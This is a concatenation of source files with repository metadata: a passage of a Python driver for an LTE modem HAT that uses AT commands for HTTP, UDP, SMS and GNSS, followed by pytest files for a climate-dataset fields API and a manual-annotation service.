"/with/key/"+ key +" HTTP/1.1\r\nHost: maker.ifttt.com\r\nContent-Type: application/json\r\nContent-Length: "+str(len(data))+"\r\n\r\n" payload += data self.compose = "AT+QHTTPPOST=" self.compose += str(len(payload)) self.compose += ",60,60" self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(payload,"OK") delay(5000) self.sendATComm("AT+QHTTPREAD=80","+QHTTPREAD: 0") # Function for sending data to Thingspeak def sendDataThingspeak(self, key, data): self.compose = "AT+QHTTPCFG=\"contextid\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"requestheader\",0" self.sendATComm(self.compose,"OK") self.clear_compose() url = str("https://api.thingspeak.com/update?api_key=" + key + "&"+ data) self.compose = "AT+QHTTPURL=" self.compose += str(len(url)) self.compose += ",80" self.setTimeout(20) self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(url,"OK") delay(3000) self.sendATComm("AT+QHTTPGET=80","+QHTTPGET") # Function for connecting to server via UDP def startUDPService(self): port = "3005" self.compose = "AT+QIOPEN=1,1,\"UDP SERVICE\",\"" self.compose += str(self.ip_address) self.compose += "\",0," self.compose += str(port) self.compose += ",0" self.sendATComm(self.compose,"OK\r\n") self.clear_compose() self.sendATComm("AT+QISTATE=0,1","\r\n") # Fuction for sending data via udp. def sendDataUDP(self, data): self.compose = "AT+QISEND=1," self.compose += str(len(data)) self.compose += ",\"" self.compose += str(self.ip_address) self.compose += "\"," self.compose += str(self.port_number) self.sendATComm(self.compose,">") self.clear_compose() self.sendATComm(data,"SEND OK") # Function for closing server connection def closeConnection(self): self.sendATComm("AT+QICLOSE=1","\r\n") # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using AT commands (preferred) def powerDownAT(self): self.sendATComm("ATE0","OK\r\n", 1000) # Deregister from the network (within 60 seconds and power down) # This command doesn't return until powerdown is complete, so no timer required self.sendATComm("AT+QPOWD=1","POWERED DOWN\r\n", 60000) # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using On/off Line (Hardware) def powerDownHW(self): # pulse ON-OFF line for at least 650 mS to initiate a powerdown GPIO.output(self.MDM_ON_OFF,1) delay(800) GPIO.output(self.MDM_ON_OFF,0) debug_print("power down requested. NOTE: This can take up to 60 seconds to complete.") i = 0 while i < 60: # NOTE: getModemStatus returns 1 when modem is OFF if not self.getModemStatus(): debug_print("modem still on") i += 1 delay(1000) else: debug_print("modem powered down") return debug_print("power down timed out. Modem may be stuck.") #****************************************************************************************** #*** HAT Peripheral Functions ************************************************************* #****************************************************************************************** # Function for reading user button (active low) def readUserButton(self): return GPIO.input(self.USER_BUTTON_N) # Function for turning on user LED def turnOnUserLED(self): GPIO.output(self.USER_LED_N, 0) # Function for turning off user LED def turnOffUserLED(self): GPIO.output(self.USER_LED_N, 1) ########################################################################### ### Farm Jenny LTE BR HAT + Nimbelink NL-SW-LTE-TC4NAG Modem Class ######## ########################################################################### class FarmJennyHatLe910c: board = "" # shield name (LTE Border Router HAT with Quectel BG96-based Modem) ip_address = "" # ip address domain_name = "" # domain name port_number = "" # port number timeout = TIMEOUT # default timeout for function and methods on this library. response = "" # variable for modem self.responses compose = "" # variable for command self.composes USER_BUTTON_N = 22 # Low when button is pressed. There is a pullup on board. USER_LED_N = 27 # Low turns on LED2 (Green) MDM_PWR = 26 # High enables the power regulator for the cell modem MDM_STATUS_N = 23 # Low corresponds to LED4 (Blue) lit MDM_ON_OFF = 24 # set high momenarily, like pressing a power button MDM_RING = 25 # Pulses low for 120mS when URC is present. Open drain output with 1M pullup to 3.3V in modem. # Special Characters CTRL_Z = '\x1A' # Initializer function def __init__(self, serial_port="/dev/ttyS0", serial_baudrate=115200, board="LTE Border Router HAT with LE910C", rtscts=False, dsrdtr=False): self.board = board ser.port = serial_port ser.baudrate = serial_baudrate ser.parity=serial.PARITY_NONE ser.stopbits=serial.STOPBITS_ONE ser.bytesize=serial.EIGHTBITS ser.rtscts=rtscts ser.dsrdtr=dsrdtr debug_print(self.board + " Class initialized!") def setupGPIO(self): GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(self.MDM_PWR, GPIO.OUT) GPIO.setup(self.USER_BUTTON_N, GPIO.IN) GPIO.setup(self.USER_LED_N, GPIO.OUT) GPIO.setup(self.MDM_STATUS_N, GPIO.IN) GPIO.setup(self.MDM_ON_OFF, GPIO.OUT) GPIO.setup(self.MDM_RING, GPIO.IN) def __del__(self): # don't clear GPIO on exit or modem will turn off # self.clearGPIOs() pass # Function for clearing global compose variable def clear_compose(self): self.compose = "" # Function for clearing GPIO's setup def clearGPIOs(self): GPIO.cleanup() # Function for enabling power to the modem. Note: not all models will initialize automatically. def enable(self): GPIO.output(self.MDM_PWR,1) debug_print("Modem power enabled!") # Function for cutting power to the modem. Not advised during normal use as the modem will not disconnect properly. def disable(self): GPIO.output(self.MDM_PWR,0) debug_print("Modem power disabled!") # Function for powering up or down the modem using the on-off key def powerUp(self): GPIO.output(self.MDM_ON_OFF,1) while self.getModemStatus(): # loop until modem status goes low, indicating it has booted (LED 4, blue, lit) pass debug_print("modem powered up!") GPIO.output(self.MDM_ON_OFF,0) # Function for getting modem power status def getModemStatus(self): # Modem status pin state is undefined if modem VCC is not powered. Return 1 if modem is disabled. if not GPIO.input(self.MDM_PWR): return 1 else: return GPIO.input(self.MDM_STATUS_N) # Function for getting modem response def getResponse(self, desired_response): if (ser.isOpen() == False): ser.open() while 1: self.response ="" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending data to module def sendDataCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) ser.reset_input_buffer() ser.write(self.compose.encode()) debug_print(self.compose) # Function for sending at comamand to module def sendATCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) + "\r" ser.reset_input_buffer() ser.write(self.compose.encode()) #debug_print(self.compose) # Function for sending data to AT. def sendDataComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendDataCommOnce(command) timer = millis() while 1: if(millis() - timer > timeout): self.sendDataCommOnce(command) timer = millis() self.response = "" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending at command to AT. def sendATComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendATCommOnce(command) #f_debug = False timer = millis() while 1: if( millis() - timer > timeout): self.sendATCommOnce(command) timer = millis() #f_debug = False self.response ="" while(ser.inWaiting()): try: self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') delay(100) except Exception as e: debug_print(e) # debug_print(self.response) if(self.response.find(desired_response) != -1): debug_print(self.response) return self.response # returns the response of the command as string. # Function for saving conf. and reset the modem def resetModule(self): self.saveConfigurations() delay(200) self.disable() delay(200) self.enable() # Function for save configurations that be done in current session. def saveConfigurations(self): self.sendATComm("AT&W","OK\r\n") # Function for getting IMEI number def getIMEI(self): return self.sendATComm("AT+CGSN","OK\r\n") # Identical command: AT+GSN # Function for getting firmware info def getFirmwareInfo(self): return self.sendATComm("AT+CGMR","OK\r\n") # Identical command: AT+GMR # Function for getting hardware info def getHardwareInfo(self): return self.sendATComm("AT+CGMM","OK\r\n") # Identical command: AT+GMM # Function returning Manufacturer Identification def getManufacturerInfo(self): return self.sendATComm("AT+CGMI","OK\r\n") # Identical command: AT+GMI # Function for getting self.ip_address def getIPAddress(self): return self.ip_address # Function for setting self.ip_address def setIPAddress(self, ip): self.ip_address = ip # Function for getting self.domain_name def getDomainName(self): return self.domain_name # Function for setting domain name def setDomainName(self, domain): self.domain_name = domain # Function for getting port def getPort(self): return self.port_number # Function for setting port def setPort(self, port): self.port_number = port # Function for getting timout in ms def getTimeout(self): return self.timeout # Function for setting timeout in ms def setTimeout(self, new_timeout): self.timeout = new_timeout #****************************************************************************************** #*** SIM Related Functions **************************************************************** #****************************************************************************************** # Function returns Mobile Subscriber Identity(IMSI) def getIMSI(self): return self.sendATComm("AT+CIMI","OK\r\n") # Functions returns Integrated Circuit Card Identifier(ICCID) number of the SIM def getICCID(self): return self.sendATComm("AT+ICCID","OK\r\n") #****************************************************************************************** #*** Network Service Functions ************************************************************ #****************************************************************************************** # Fuction for getting signal quality def getSignalQuality(self): return self.sendATComm("AT+CSQ","OK\r\n") # Function for getting network information def getQueryNetworkInfo(self): return self.sendATComm("AT#SERVINFO","OK\r\n") # Function for connecting to base station of operator def connectToOperator(self): debug_print("Trying to connect base station of operator...") self.sendATComm("AT+CGATT?","+CGATT: 1\r\n") self.getSignalQuality() # Fuction to check the Network Registration Status def getNetworkRegStatus(self): return self.sendATComm("AT+CREG?","OK\r\n") # Function to check the Operator def getOperator(self): return self.sendATComm("AT+COPS?","OK\r\n") #****************************************************************************************** #*** SMS Functions ************************************************************************ #****************************************************************************************** # Function for sending SMS def sendSMS(self, number, text): self.sendATComm("AT+CMGF=1","OK\r\n") # text mode delay(500) self.compose = "AT+CMGS=\"" self.compose += str(number) self.compose += "\"" self.sendATComm(self.compose,">") delay(1000) self.clear_compose() delay(1000) self.sendATCommOnce(text) self.sendATComm(self.CTRL_Z,"OK",8) # with 8 seconds timeout #****************************************************************************************** #*** GNSS Functions *********************************************************************** #****************************************************************************************** # This API exposes basic GNSS data using AT commands. More advanced functionality # may be available through other interfaces. # LE910Cx GNSS output is in the format: # $GPSACP: <UTC>,<latitude>,<longitude>,<hdop>,<altitude>,<fix>,<cog>,<spkm>,<spkn>, # <date>,<nsat_gps>,<nsat_glonass> # LE910Cx on Nimbelink REQUIRES power for an active antenna, controlled by GPIO5. #****************************************************************************************** # Function for turning on GNSS (and enable active antenna if so equipped) def turnOnGNSS(self,active_ant = False): if(active_ant == True): #apply DC power to antenna (will not persist after reset) self.sendATComm("AT#GPIO=5,1,1,0","OK\r\n") #apply DC power to antenna (will persist after reset) #self.sendATComm("AT#GPIO=5,1,1,1","OK\r\n") #enable GNSS Subsystem in Autonomous Mode self.sendATCommOnce("AT$GPSSLSR=2,3,,,,,1") # Function for turning off GNSS (and turn off active antenna if so equipped) def turnOffGNSS(self,active_ant = False): if(active_ant == True): #remove DC power to antenna (will not persist after reset) self.sendATComm("AT#GPIO=5,0,1,0","OK\r\n") #remove DC power to antenna (will persist after reset) #self.sendATComm("AT#GPIO=5,0,1,1","OK\r\n") self.sendATCommOnce("AT$GPSP=0") # Function for getting latitude def getLatitude(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5]) == "1"): return "NOFIX" #This GPS outputs latitude in ddmmm.mmmmN/S format. Convert to signed decimal return dm2dec_lat(self.response[1]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting longitude def getLongitude(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" #This GPS outputs longitude in dddmm.mmmmE/W format. Convert to signed decimal return dm2dec_long(self.response[2]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting altitude in meters, accurate to one decimal place def getAltitudeM(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" return Decimal(self.response[4]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in MPH def getSpeedMph(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" return round(Decimal(self.response[7])/Decimal('1.609344'), 1) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in KPH def getSpeedKph(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" return Decimal(self.response[7]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting a crude estimation of location accuracy in meters, based on GPGGA HDOP value. def getPositionAccuracyM(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" # The constant below is an estimate of the nominal accuracy of the device with HDOP=1.0 return round(Decimal(self.response[3])*Decimal('5.0'), 0) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting the total number of supported GNSS satellites in view. def getNumSatellites(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" # because this includes the final item in the array, it includes a bunch of garbage after the value # <nsat_glonass> is always two characters 00 thru 12, trim everything else self.nsat_gps = self.response[10] self.nsat_glonass = self.response[11] return ( Decimal(self.nsat_gps[0:]) + Decimal(self.nsat_glonass[0:2]) ) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting time from the GNSS satellite reciever, format is hhmmss.sss (UTC) def getGnssTime(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" self.time_string = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" # this is the zeroth item, so it includes the AT command response etc. # Time value is in hhmmss.sss format, so just keep the last 10 characters self.time_string = self.response[0] #print("full time string:", self.time_string) #self.time_string = self.time_string[-10:] #print("trimmed time string:", self.time_string) return Decimal(self.time_string[-10:]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting date from the GNSS satellite reciever, format is ddmmyy (UTC) def getGnssDate(self): self.sendATCommOnce("AT$GPSACP") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("$GPSACP") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() #If no fix (0 or 1), return "NOFIX" if( (self.response[5] == "0") or (self.response[5] == "1") ): return "NOFIX" return self.response[9] if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 #****************************************************************************************** #*** TCP & UDP Protocols Functions ******************************************************** #****************************************************************************************** # Function for configurating and activating TCP context def activateContext(self): print("ERROR: Function not implemented.") # Function for deactivating TCP context def deactivateContext(self): print("ERROR: Function not implemented.") # Function for connecting to server via TCP # just buffer access mode is supported for now. def connectToServerTCP(self): print("ERROR: Function not implemented.") # Fuction for sending data via tcp. # just buffer access mode is supported for now. def sendDataTCP(self, data): print("ERROR: Function not implemented.") # Function for sending data to IFTTT def sendDataIFTTT(self, eventName, key, data): print("ERROR: Function not implemented.") # Function for sending data to Thingspeak def sendDataThingspeak(self, key, data): print("ERROR: Function not implemented.") # Function for connecting to server via UDP def startUDPService(self): print("ERROR: Function not implemented.") # Fuction for sending data via udp. def sendDataUDP(self, data): print("ERROR: Function not implemented.") # Function for closing server connection def closeConnection(self): print("ERROR: Function not implemented.") # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using AT commands (preferred) def powerDownAT(self): self.sendATComm("ATE0","OK\r\n", 1000) # Deregister from the network (within 25 seconds according to LE910 datasheet) and power down self.sendATComm("AT#SHDN","OK\r\n", 1000) # Modem returns OK immediately, watch power line 1/sec to see when it is done i = 0 while i < 30: # NOTE: getModemStatus returns 1 when modem is OFF if not self.getModemStatus(): debug_print("modem still on") i += 1 delay(1000) else: debug_print("modem powered down") return debug_print("power down timed out. Modem may be stuck.") # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using On/off Line (Hardware) def powerDownHW(self): # pulse ON-OFF line for at least 2500mS to initiate a powerdown (according to Nimbelink datasheet) GPIO.output(self.MDM_ON_OFF,1) delay(2600) GPIO.output(self.MDM_ON_OFF,0) debug_print("power down requested. NOTE: This can take up to 25 seconds to complete.") i = 0 while i < 30: # NOTE: getModemStatus returns 1 when modem is OFF if not self.getModemStatus(): debug_print("modem still on") i += 1 delay(1000) else: debug_print("modem powered down") return debug_print("power down timed out. Modem may be stuck.") #****************************************************************************************** #*** HAT Peripheral Functions ************************************************************* #****************************************************************************************** # Function for reading user button (active low) def readUserButton(self): return GPIO.input(self.USER_BUTTON_N) # Function for turning on user LED def turnOnUserLED(self): GPIO.output(self.USER_LED_N, 0) # Function for turning off user LED def turnOffUserLED(self): GPIO.output(self.USER_LED_N, 1) # Function for setting ON/nSLEEP (Blue LED) behavior for power monitoring and save it def setLedPower(self): self.sendATCommOnce("AT#SLED=1") self.sendATCommOnce("AT#SLEDSAV") # Function for setting ON/nSLEEP (Blue LED) behavior for network status and save it def setLedNetwork(self): self.sendATCommOnce("AT#SLED=2") self.sendATCommOnce("AT#SLEDSAV")

34.786963

178

0.633792

9,753

73,644

4.728391

0.070747

0.086131

0.040593

0.02459

0.961207

0.95791

0.954246

0.951383

0.945507

0.940867

0

0.02039

0.159579

73,644

2,117

179

34.786963

0.724714

0.314174

0

0.962199

0

0.001375

0.12156

0.002716

0

1

0.140206

false

0.004124

0.002749

0.03299

0.302406

0.065292

0

null

0

1

0

1

0

null

0

7

4c9c96f3892eb4fc068d3e90e8bb61cd896a16d2

8,708

py

Python

tests/fields_post_tests.py

resource-watch/prep-nexgddp

e02653c7690188d14499795484528a550d4192b8

[ "MIT" ]

null

tests/fields_post_tests.py

resource-watch/prep-nexgddp

e02653c7690188d14499795484528a550d4192b8

[ "MIT" ]

1

2020-11-03T10:01:03.000Z

tests/fields_post_tests.py

resource-watch/prep-nexgddp

e02653c7690188d14499795484528a550d4192b8

[ "MIT" ]

1

2018-01-10T16:51:06.000Z

import pytest import os import requests_mock import nexgddp from pathlib import Path @pytest.fixture def client(): app = nexgddp.app app.config['TESTING'] = True client = app.test_client() yield client @requests_mock.Mocker(kw='mocker') def test_get_fields_for_dataset_that_does_not_exist(client, mocker): mocker.get('{}/v1/dataset/foo'.format(os.getenv('CT_URL')), status_code=404, json={"errors": [{"status": 404, "detail": "Dataset with id 'foo' doesn't exist"}]}) response = client.post('/api/v1/nexgddp/fields/foo') assert response.status_code == 404 assert response.data == b'{"errors":[{"detail":"Dataset with id foo doesn\'t exist","status":404}]}\n' @requests_mock.Mocker(kw='mocker') def test_get_fields_for_dataset_invalid_provider(client, mocker): dataset_json = { 'data': { 'id': 'bar', 'type': 'dataset', 'attributes': { 'name': 'Test dataset 1', 'slug': 'test-dataset-1', 'type': 'tabular', 'subtitle': None, 'application': [ 'rw' ], 'dataPath': None, 'attributesPath': None, 'connectorType': 'rest', 'provider': 'csv', 'userId': '1', 'connectorUrl': 'https://raw.githubusercontent.com/test/file.csv', 'sources': [], 'tableName': 'index_d1ced4227cd5480a8904d3410d75bf42_1587619728489', 'status': 'saved', 'published': False, 'overwrite': True, 'mainDateField': None, 'env': 'production', 'geoInfo': False, 'protected': False, 'clonedHost': {}, 'legend': {}, 'errorMessage': None, 'taskId': None, 'createdAt': '2016-08-01T15:28:15.050Z', 'updatedAt': '2018-01-05T18:15:23.266Z', 'dataLastUpdated': None, 'widgetRelevantProps': [], 'layerRelevantProps': [] } }} mocker.get('{}/v1/dataset/bar'.format(os.getenv('CT_URL')), json=dataset_json) response = client.post('/api/v1/nexgddp/fields/bar') assert response.status_code == 422 assert response.data == b'{"errors":[{"detail":"This operation is only supported for datasets with providers [\'nexgddp\', \'loca\']","status":422}]}\n' @requests_mock.Mocker(kw='mocker') def test_get_fields_for_dataset_invalid_connector_type(client, mocker): dataset_json = { 'data': { 'id': 'bar', 'type': 'dataset', 'attributes': { 'name': 'Test dataset 1', 'slug': 'test-dataset-1', 'type': 'tabular', 'subtitle': None, 'application': [ 'rw' ], 'dataPath': None, 'attributesPath': None, 'connectorType': 'document', 'provider': 'nexgddp', 'userId': '1', 'connectorUrl': None, 'sources': [], 'tableName': 'cum_pr/rcp45_decadal', 'status': 'saved', 'published': False, 'overwrite': True, 'mainDateField': None, 'env': 'production', 'geoInfo': False, 'protected': False, 'clonedHost': {}, 'legend': {}, 'errorMessage': None, 'taskId': None, 'createdAt': '2016-08-01T15:28:15.050Z', 'updatedAt': '2018-01-05T18:15:23.266Z', 'dataLastUpdated': None, 'widgetRelevantProps': [], 'layerRelevantProps': [] } }} mocker.get('{}/v1/dataset/bar'.format(os.getenv('CT_URL')), json=dataset_json) response = client.post('/api/v1/nexgddp/fields/bar') assert response.status_code == 422 assert response.data == b'{"errors":[{"detail":"This operation is only supported for datasets with connectorType \'rest\'","status":422}]}\n' @requests_mock.Mocker(kw='mocker') def test_get_fields_for_dataset_happy_case_nexgddp(client, mocker): dataset_json = { 'data': { 'id': 'bar', 'type': 'dataset', 'attributes': { 'name': 'Test dataset 1', 'slug': 'test-dataset-1', 'type': 'tabular', 'subtitle': None, 'application': [ 'rw' ], 'dataPath': None, 'attributesPath': None, 'connectorType': 'rest', 'provider': 'nexgddp', 'userId': '1', 'connectorUrl': None, 'sources': [], 'tableName': 'cum_pr/rcp45_decadal', 'status': 'saved', 'published': False, 'overwrite': True, 'mainDateField': None, 'env': 'production', 'geoInfo': False, 'protected': False, 'clonedHost': {}, 'legend': {}, 'errorMessage': None, 'taskId': None, 'createdAt': '2016-08-01T15:28:15.050Z', 'updatedAt': '2018-01-05T18:15:23.266Z', 'dataLastUpdated': None, 'widgetRelevantProps': [], 'layerRelevantProps': [] } }} rasdaman_response_file = Path("tests/assets/get_fields_response.xml") with open(rasdaman_response_file, encoding='utf-8') as f: rasdaman_response = f.read() mocker.get('{}?SERVICE=WCS&VERSION=2.0.1&REQUEST=DescribeCoverage&COVERAGEID=cum_pr_rcp45_decadal_processed'.format(os.getenv('RASDAMAN_URL')), text=rasdaman_response) mocker.get('{}/v1/dataset/bar'.format(os.getenv('CT_URL')), json=dataset_json) response = client.post('/api/v1/nexgddp/fields/bar') assert response.status_code == 200 assert response.data == b'{"fields":{"cum_pr":{"type":"number","uom":"10^0"},"cum_pr_q25":{"type":"number","uom":"10^0"},"cum_pr_q75":{"type":"number","uom":"10^0"},"year":{"type":"date"}},"tableName":"cum_pr/rcp45_decadal"}\n' @requests_mock.Mocker(kw='mocker') def test_get_fields_for_dataset_happy_case_loca(client, mocker): dataset_json = { 'data': { 'id': 'bar', 'type': 'dataset', 'attributes': { 'name': 'Test dataset 1', 'slug': 'test-dataset-1', 'type': 'tabular', 'subtitle': None, 'application': [ 'rw' ], 'dataPath': None, 'attributesPath': None, 'connectorType': 'rest', 'provider': 'loca', 'userId': '1', 'connectorUrl': None, 'sources': [], 'tableName': 'cum_pr/rcp45_decadal', 'status': 'saved', 'published': False, 'overwrite': True, 'mainDateField': None, 'env': 'production', 'geoInfo': False, 'protected': False, 'clonedHost': {}, 'legend': {}, 'errorMessage': None, 'taskId': None, 'createdAt': '2016-08-01T15:28:15.050Z', 'updatedAt': '2018-01-05T18:15:23.266Z', 'dataLastUpdated': None, 'widgetRelevantProps': [], 'layerRelevantProps': [] } }} rasdaman_response_file = Path("tests/assets/get_fields_response.xml") with open(rasdaman_response_file, encoding='utf-8') as f: rasdaman_response = f.read() mocker.get('{}?SERVICE=WCS&VERSION=2.0.1&REQUEST=DescribeCoverage&COVERAGEID=cum_pr_rcp45_decadal_processed'.format(os.getenv('RASDAMAN_URL')), text=rasdaman_response) mocker.get('{}/v1/dataset/bar'.format(os.getenv('CT_URL')), json=dataset_json) response = client.post('/api/v1/nexgddp/fields/bar') assert response.status_code == 200 assert response.data == b'{"fields":{"cum_pr":{"type":"number","uom":"10^0"},"cum_pr_q25":{"type":"number","uom":"10^0"},"cum_pr_q75":{"type":"number","uom":"10^0"},"year":{"type":"date"}},"tableName":"cum_pr/rcp45_decadal"}\n'

37.69697

235

0.497129

794

8,708

5.314861

0.196474

0.015403

0.022749

0.028199

0.885071

0.880569

0.874645

0.866114

0.850474

0

0.047285

0.344281

8,708

230

236

37.86087

0.691769

0

0.843137

0

0.029412

0.354961

0.128273

0

0.04902

1

0.029412

false

0

0.02451

0

0.053922

0

null

0

1

0

1

0

null

0

7

4c9e764eaa78a21e7170e07adf6edd8c61a1439b

109

py

Python

src/python/setuppy_project1/tests/test_setuppy1_words.py

timhughes/pants-example-python-multiple-packages

32d60f89d3da0ba141a1a7c2b67ae62e8b46d80a

[ "Apache-2.0" ]

2

2020-08-27T12:13:33.000Z

2022-02-10T20:18:46.000Z

src/python/setuppy_project1/tests/test_setuppy1_words.py

timhughes/pants-example-python-multiple-packages

32d60f89d3da0ba141a1a7c2b67ae62e8b46d80a

[ "Apache-2.0" ]

1

2020-05-20T19:28:49.000Z

src/python/setuppy_project1/tests/test_setuppy1_words.py

timhughes/pants-example-python-multiple-packages

32d60f89d3da0ba141a1a7c2b67ae62e8b46d80a

[ "Apache-2.0" ]

null

from setuppy1.words import join def test_words_add(): assert join("Hello", "World!") == "Hello World!"

18.166667

52

0.678899

15

109

4.8

0.733333

0.277778

0

0.010989

0.165138

109

5

53

21.8

0.78022

0

0.211009

0

0.333333

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

4c9f3458620074a1c8b8b838e24848b62e4678f9

4,059

py

Python

appserver/tests/database/services/annotations/manual_annotations/manual_annotations_test.py

SBRG/lifelike

a7b715f38b389a585c10e6d0d067345937455c13

[ "MIT" ]

8

2022-01-28T08:43:07.000Z

2022-03-23T11:18:10.000Z

appserver/tests/database/services/annotations/manual_annotations/manual_annotations_test.py

SBRG/lifelike

a7b715f38b389a585c10e6d0d067345937455c13

[ "MIT" ]

23

2022-02-14T15:25:00.000Z

2022-03-28T15:30:45.000Z

appserver/tests/database/services/annotations/manual_annotations/manual_annotations_test.py

SBRG/lifelike

a7b715f38b389a585c10e6d0d067345937455c13

[ "MIT" ]

5

2022-01-28T15:45:44.000Z

2022-03-14T11:36:49.000Z

import pytest from os import path from neo4japp.exceptions import AnnotationError from neo4japp.services.annotations.constants import EntityType # reference to this directory directory = path.realpath(path.dirname(__file__)) def test_add_custom_annotation_inclusion_annotate_all( get_manual_annotation_service, mock_add_custom_annotation_inclusion, file_in_project, project_owner ): annotation_service = get_manual_annotation_service custom = { 'meta': { 'id': 'Ncbi:Fake', 'type': EntityType.SPECIES.value, 'allText': 'Pikachu', 'idType': '', 'idHyperlinks': [], 'isCaseInsensitive': True, 'includeGlobally': False } } inclusions = annotation_service.add_inclusions( file=file_in_project, user=project_owner, custom_annotation=custom, annotate_all=True ) assert len(inclusions) == 2 def test_add_custom_annotation_inclusion_multi_word( get_manual_annotation_service, mock_add_custom_annotation_inclusion, file_in_project, project_owner ): annotation_service = get_manual_annotation_service custom = { 'meta': { 'id': 'Ncbi:Fake', 'type': EntityType.SPECIES.value, 'allText': 'caught a Pikachu', 'idType': '', 'idHyperlinks': [], 'isCaseInsensitive': True, 'includeGlobally': False } } inclusions = annotation_service.add_inclusions( file=file_in_project, user=project_owner, custom_annotation=custom, annotate_all=True ) assert len(inclusions) == 2 def test_add_custom_annotation_inclusion( get_manual_annotation_service, mock_add_custom_annotation_inclusion, file_in_project, project_owner ): annotation_service = get_manual_annotation_service custom = { 'meta': { 'id': 'Ncbi:Fake', 'type': EntityType.SPECIES.value, 'allText': 'Pikachu', 'idType': '', 'idHyperlinks': [], 'isCaseInsensitive': True, 'includeGlobally': False } } inclusions = annotation_service.add_inclusions( file=file_in_project, user=project_owner, custom_annotation=custom, annotate_all=False ) assert len(inclusions) == 1 def test_add_custom_annotation_inclusion_multi_word_gene_limit( get_manual_annotation_service, mock_add_custom_annotation_inclusion, file_in_project, project_owner ): annotation_service = get_manual_annotation_service custom = { 'meta': { 'id': 'Ncbi:Fake', 'type': EntityType.GENE.value, 'allText': 'caught a Pikachu', # GENE max limit is 1 word 'idType': '', 'idHyperlinks': [], 'isCaseInsensitive': True, 'includeGlobally': False } } with pytest.raises(AnnotationError): inclusions = annotation_service.add_inclusions( file=file_in_project, user=project_owner, 